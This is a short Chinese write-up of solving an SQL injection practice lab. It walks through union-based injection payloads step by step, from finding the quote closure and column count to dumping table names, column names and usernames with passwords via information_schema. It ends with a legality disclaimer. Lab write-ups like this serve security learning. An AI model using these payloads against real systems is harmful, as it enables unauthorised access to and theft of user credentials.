sqli的靶场通过小计
2026-10-18 05:10:46
SQL注入靶场通过小计
在SQL注入靶场中，通过一系列步骤可以成功获取数据库中的敏感信息。以下是对整个过程的详细总结和步骤解析：
一、判断注入类型首先，需要判断是否存在SQL注入漏洞，并确定注入的类型（数字型或字符型）。
- 尝试注入语句：?id=1 and 1=1 或 ?id=1 and 1=2
如果页面没有变化，可能是输入语句被过滤，或者SQL语句的闭合方式不同。
- 判断闭合方式：在?id=1后尝试各种字符，发现单引号'可以绕过。
尝试：?id=1' and 1=1
如果报错提示SQL语法错误，可能是后端代码在注入点后还有'LIMIT 0,1'。
- 注释掉多余语句：使用--+或%23来注释掉后面的LIMIT 0,1。
尝试：?id=1' and 1=1--+
在确认存在SQL注入漏洞后，需要构造语句来注出数据。
1. 查询字段数使用order by来确定表中的列数。
- 尝试：?id=1' order by 1--+
逐渐增加数字，直到出现错误，前一个数字即为表中的列数。
使用union select来确认回显点。
- 尝试：?id=-1 union select 1,2,3--+
让id为一个不存在的值（如-1），观察回显结果。
使用union select查询数据库信息和版本号。
- 尝试：?id=-1 union select 1,database(),version()--+
使用information_schema.tables查询指定数据库中的数据表名。
- 尝试：?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
使用information_schema.columns查询指定表中的字段名。
- 尝试：?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
使用union select查询指定字段中的信息，如用户名和密码。
- 尝试：?id=-1' union select 1,group_concat(username,0x2a,password),3 from users--+
0x2a是*的十六进制表示，用于分隔用户名和密码。
注释符号：
--+：在GET请求中使用，+代表空格。
%23：#的URL编码，也可以用于注释。
注意：#在URL中用于指导浏览器动作，对服务器端无用，但在POST请求中可以直接使用。
union关键字：
union默认去重，如果需要使用重复项，可以使用union all。
information_schema数据库：
保存了MySQL服务所有数据库的信息，包括数据库名、表名、字段名等。
group_concat()函数：
将分组中的值连接起来，返回一个字符串结果，默认使用逗号分隔。
不要局限于联合注入：
除了联合注入外，还有盲注、时间注入、报错注入等其他注入方式。
通过上述步骤，可以在SQL注入靶场中成功获取数据库中的敏感信息。但需要注意的是，SQL注入是一种非法行为，未经授权不得进行此类测试。在实际应用中，应加强安全防护措施，防止SQL注入漏洞的发生。
（注：以上图片链接仅为示例，实际使用时请替换为真实存在的图片链接）
热门标签
